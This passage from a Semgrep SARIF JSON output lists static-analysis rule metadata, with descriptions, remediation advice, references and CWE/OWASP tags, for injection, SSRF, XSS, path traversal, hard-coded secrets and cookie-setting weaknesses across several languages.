URLs."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-curl-injection.tainted-curl-injection","id":"php.lang.security.tainted-curl-injection.tainted-curl-injection","name":"php.lang.security.tainted-curl-injection.tainted-curl-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-curl-injection.tainted-curl-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","id":"java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","name":"java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.http-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.http-client.ssrf","id":"csharp.lang.security.ssrf.http-client.ssrf","name":"csharp.lang.security.ssrf.http-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.http-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval."},"help":{"markdown":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval","id":"ruby.lang.security.no-eval.ruby-eval","name":"ruby.lang.security.no-eval.ruby-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.no-eval.ruby-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint.process-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint.process-taint","id":"csharp.dotnet-core.command-injection.process-taint.process-taint","name":"csharp.dotnet-core.command-injection.process-taint.process-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.command-injection.process-taint.process-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Function borrowFresh() in Compound performs state update after doTransferOut()"},"help":{"markdown":"Function borrowFresh() in Compound performs state update after doTransferOut()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy)\n - [https://twitter.com/peckshield/status/1509431646818234369](https://twitter.com/peckshield/status/1509431646818234369)\n - [https://twitter.com/blocksecteam/status/1509466576848064512](https://twitter.com/blocksecteam/status/1509466576848064512)\n - [https://slowmist.medium.com/another-day-another-reentrancy-attack-5cde10bbb2b4](https://slowmist.medium.com/another-day-another-reentrancy-attack-5cde10bbb2b4)\n - [https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611](https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611)\n","text":"Function borrowFresh() in Compound performs state update after doTransferOut()"},"helpUri":"https://semgrep.dev/r/solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","id":"solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","name":"solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/)."},"help":{"markdown":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.unsanitized-input.response-contains-unsanitized-input)\n - [https://flask.palletsprojects.com/en/1.0.x/security/](https://flask.palletsprojects.com/en/1.0.x/security/)\n - [https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)\n","text":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/)."},"helpUri":"https://semgrep.dev/r/python.flask.security.unsanitized-input.response-contains-unsanitized-input","id":"python.flask.security.unsanitized-input.response-contains-unsanitized-input","name":"python.flask.security.unsanitized-input.response-contains-unsanitized-input","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.unsanitized-input.response-contains-unsanitized-input"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"help":{"markdown":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection)\n - [https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac](https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac)\n","text":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","id":"python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","name":"python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables."},"help":{"markdown":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.deserialization.extract-user-data)\n - [https://www.php.net/manual/en/function.extract.php#refsect1-function.extract-notes](https://www.php.net/manual/en/function.extract.php#refsect1-function.extract-notes)\n","text":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables."},"helpUri":"https://semgrep.dev/r/php.lang.security.deserialization.extract-user-data","id":"php.lang.security.deserialization.extract-user-data","name":"php.lang.security.deserialization.extract-user-data","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.deserialization.extract-user-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.java-jwt.jwt-hardcode.jwt-hardcode)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.java-jwt.jwt-hardcode.jwt-hardcode","id":"kotlin.java-jwt.jwt-hardcode.jwt-hardcode","name":"kotlin.java-jwt.jwt-hardcode.jwt-hardcode","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.java-jwt.jwt-hardcode.jwt-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","id":"python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","name":"python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","id":"javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","name":"javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy)\n - [https://docs.cherrypy.dev/en/latest/tutorials.html](https://docs.cherrypy.dev/en/latest/tutorials.html)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","id":"python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","name":"python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.aiosqlite-django.aiosqlite-django)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.django.db.aiosqlite-django.aiosqlite-django","id":"python.django.db.aiosqlite-django.aiosqlite-django","name":"python.django.db.aiosqlite-django.aiosqlite-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.aiosqlite-django.aiosqlite-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.turbine-sqli.turbine-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","id":"java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","name":"java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.turbine-sqli.turbine-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n - [https://www.starlette.io/responses/](https://www.starlette.io/responses/)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","id":"python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","name":"python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header."},"help":{"markdown":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-href.var-in-href)\n - [https://github.com/pugjs/pug/issues/2952](https://github.com/pugjs/pug/issues/2952)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI)\n","text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-href.var-in-href","id":"javascript.express.security.audit.xss.pug.var-in-href.var-in-href","name":"javascript.express.security.audit.xss.pug.var-in-href.var-in-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.var-in-href.var-in-href"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that 